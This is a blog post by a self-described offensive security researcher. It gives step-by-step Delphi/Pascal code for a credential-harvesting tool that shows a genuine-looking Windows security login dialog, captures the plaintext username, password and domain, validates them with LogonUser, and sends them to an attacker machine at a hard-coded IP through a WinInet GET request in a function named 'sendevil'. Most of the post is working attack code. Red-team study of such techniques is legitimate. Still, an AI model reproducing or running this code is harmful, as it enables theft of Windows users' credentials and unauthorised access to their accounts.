image

I recently started to do Live streaming on twitch and youtube to cover some techniques and do some live coding sessions. The first try was great, and your support is one of the key factors I look for.

In this article, I will write a detailed description of the concept and how I used it to accomplish the mission to create a custom login validation dialog to steal windows users' credentials and transfer the results into a remote attacker machine.

Recently, I saw some of C++ codes that have been shared on Ired.team blog, it was a great job and helped me a lot. But our current mission is to use the well-known design of the windows validation dialog as exactly shown in the following picture with two win API calls.

image

Github: https://github.com/lawrenceamer/0xsp/tree/master/huntingcreds

Workstream

  • Convert C++ windows MSDN API code into Delphi pascal
  • Implement the code function
  • Add windows validation using windows API call "LogonUserA."
  • Transfering correct results into attacker machine.

Convert C++ windows MSDN API code into Delphi pascal

Windows MSDN library provides all windows API call functions documentation in C++ syntax. That's good, but in our case, we have to do some heavy work to convert these calls to Delphi Pascal. Maybe you got through this while using pinvoke.net for C#. unfortunately, these documentations are not available for Pascal Language.

our lookup table is:

C++ Code

CREDUIAPI DWORD CredUIPromptForWindowsCredentialsA(
  PCREDUI_INFOA pUiInfo,
  DWORD         dwAuthError,
  ULONG         *pulAuthPackage,
  LPCVOID       pvInAuthBuffer,
  ULONG         ulInAuthBufferSize,
  LPVOID        *ppvOutAuthBuffer,
  ULONG         *pulOutAuthBufferSize,
  BOOL          *pfSave,
  DWORD         dwFlags
);

Pascal Code

CredUIPromptForWindowsCredentials: function (
var pUiInfo : TCredUIInfo;dwAuthError:DWORD; var pulAuthPackage:ULONG;pvInAuthBuffer:PCardinal;ulInAuthBufferSize:ULONG;
out ppvOutAuthBuffer: Cardinal; out pulOutAuthBufferSize: ULONG;
 pfsave: PVOID; dwFlags:DWORD): DWORD; stdcall;

C++ code

CREDUIAPI BOOL CredUnPackAuthenticationBufferA(
  DWORD dwFlags,
  PVOID pAuthBuffer,
  DWORD cbAuthBuffer,
  LPSTR pszUserName,
  DWORD *pcchlMaxUserName,
  LPSTR pszDomainName,
  DWORD *pcchMaxDomainName,
  LPSTR pszPassword,
  DWORD *pcchMaxPassword
);

Pascal code

 CredUnPackAuthenticationBuffer: function (dwFlags:DWORD;pAuthBuffer:PVOID;cbAuthBuffer:DWORD;pszUserName:LPSTR;
 var pcchlMaxUserName:DWORD;  pszDomainName:LPSTR; var pcchMaxDomainName:DWORD;pszPassword:LPSTR; var pcchMaxPassword:DWORD
 ): LONGBOOL; stdcall;

if we look closer to the MSDN documentation link, we see that some flags should be imported with API call as these parameters decide the behavior

image

converting that to Pascal is easy just by replacing 0x to $ char as the following

 CREDUIWIN_GENERIC                      = $00000001;
 CREDUIWIN_CHECKBOX                     = $00000002;
 CREDUIWIN_AUTHPACKAGE_ONLY             = $00000010;
 CREDUIWIN_IN_CRED_ONLY                 = $00000020;
 CREDUIWIN_ENUMERATE_ADMINS             = $00000100;
 CREDUIWIN_ENUMERATE_CURRENT_USER       = $00000200;
 CREDUIWIN_SECURE_PROMPT                = $00001000;
 CREDUIWIN_PACK_32_WOW                  = $10000000;

Implement the code function

Start coding should be straight forward as we have added valid API calls function, then we have to clarify Dll Library to import its functions.

Pascal code

 CRED_MAX_USERNAME_LENGTH              = 256;
 CREDUI_MAX_PASSWORD_LENGTH            = 256;
 CRED_MAX_DOMAIN_TARGET_NAME_LENGTH    = 256;

Cred                                  = 'credui.dll';

CredUIPromptForWindowsCredentialsName = {$IFDEF UNICODE}
                                          'CredUIPromptForWindowsCredentialsW'
                                          {$ELSE}
                                          'CredUIPromptForWindowsCredentialsA'
                                          {$ENDIF};
 CredUnPackAuthenticationBufferName    = {$IFDEF UNICODE}
                                          'CredUnPackAuthenticationBufferW'
                                          {$ELSE}
                                          'CredUnPackAuthenticationBufferA'
                                          {$ENDIF};

after that,  we can craft our code to load CredUIPromptForWindowsCredentialsName function followed by the conditional case to validate the results based on exception handling

begin
lib := safeloadlibrary(cred);
if Lib <> 0  then`
try
CredUIPromptForWindowsCredentials := GetProcAddress(lib,CredUIPromptForWindowsCredentialsName);
CredUnPackAuthenticationBuffer := GetProcAddress(lib,CredUnPackAuthenticationBufferName);
if assigned(CredUIPromptForWindowsCredentials) and assigned(CredUnPackAuthenticationBuffer) then
begin

if we have a closer look into C++ of similar code block shared by ired.team blog, I should identify all Pascal variables.

image

type

  PCredUIInfo = ^TCredUIInfo;
  TCredUIInfo = record
  cbSize : DWORD;
  hwndParent : HWND;
  pszMessageText : PChar;
  pszCaptionText : Pchar;
  hbmBanner : HBITMAP;

  end;

Then coding the calling function of both API to get the case result of CredUIPromptForWindowsCredentials and then use CredUnPackAuthenticationBuffer to convert the BLOB to string representations of the credentials.

As we need these string values to output the plain text formatted results to the remote attacker machine.

ase CredUIPromptForWindowsCredentials(
   CredInfo,AAuthError,lAuthPackage,nil,0,lOutBuffer,lOutBufferSize,@ASavePassword,CREDUIWIN_GENERIC or CREDUIWIN_CHECKBOX) of

  NO_ERROR: begin
     Zeromemory(@lusername,sizeof(lusername));
     Zeromemory(@lPassword,sizeof(lpassword));
     zeromemory(@lDomain,sizeof(lDomain));
 Result := CredUnPackAuthenticationBuffer(0,pointer(loutbuffer),loutbuffersize,
            @lusername,lMaxUsername,
            @lDomain,lMaxDomainname,
            @lpassword,lMaxPassword);
        if result  then
        begin
      Auser := string(lusername);
      Apassword := string(lpassword);
      ADomain := string(lDomain);
      result := true;
      end;

finally, our main code is working perfectly as you can see it successfully load Windows security validation dialog image

Add windows validation using windows API call "LogonUserA."

The next step is to valid supplied user access information, whether it is correct or not, and then the attacker can make sure if the user has entered correct credentials access.

if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then

// correct case
else
// not correct case
end;

Transfering correct results into attacker machine.

The final procedure is by sending entered user's plain-text credentials. Using the Wininet component, we can send GET request into the attacker machine supplied with sniffed credentials in the same URL.

Below is the code block to do GET requests in the wininet unit.

function sendevil(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1023] of Byte;
  BytesRead: dWord;
  StrBuffer: UTF8String;
begin
  Result := '';
  BytesRead := Default(dWord);
  NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  // NetHandle valid?
  if Assigned(NetHandle) then
    Try
      UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

      // UrlHandle valid?
      if Assigned(UrlHandle) then
        Try
          repeat
            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
            SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);
            Result := Result + StrBuffer;
          until BytesRead = 0;
        Finally
          InternetCloseHandle(UrlHandle);
        end
      // o/w UrlHandle invalid
      else
        writeln('Cannot open URL: ' + Url);
    Finally
      InternetCloseHandle(NetHandle);
    end
  // NetHandle invalid
  else
    raise Exception.Create('Unable to initialize WinInet');
end;

We can call that function in our final code block and add a conditional statement if the user has entered correct creds and then do a GET call with the status label as fail or success to know which credential is valid or randomly supplied.

var
username,password,domain:string;
savepassword:boolean;
TOKEN : Thandle;
begin

if not CredHunt('test','test',$0,username,password,domain,savePassword)
then
exit;
if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then

sendevil('http://192.168.0.128/failed'+username+password)
else
sendevil('http://192.168.0.128/success'+username+password);
end;

as the shared POC below, we successfully grabbed valid access credentials into our attacking machine image

Subscribe now

to get the latest live hacks series on twitch and youtube, please click on subscribe or follow


Lawrence Amer
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects
CONTACT ME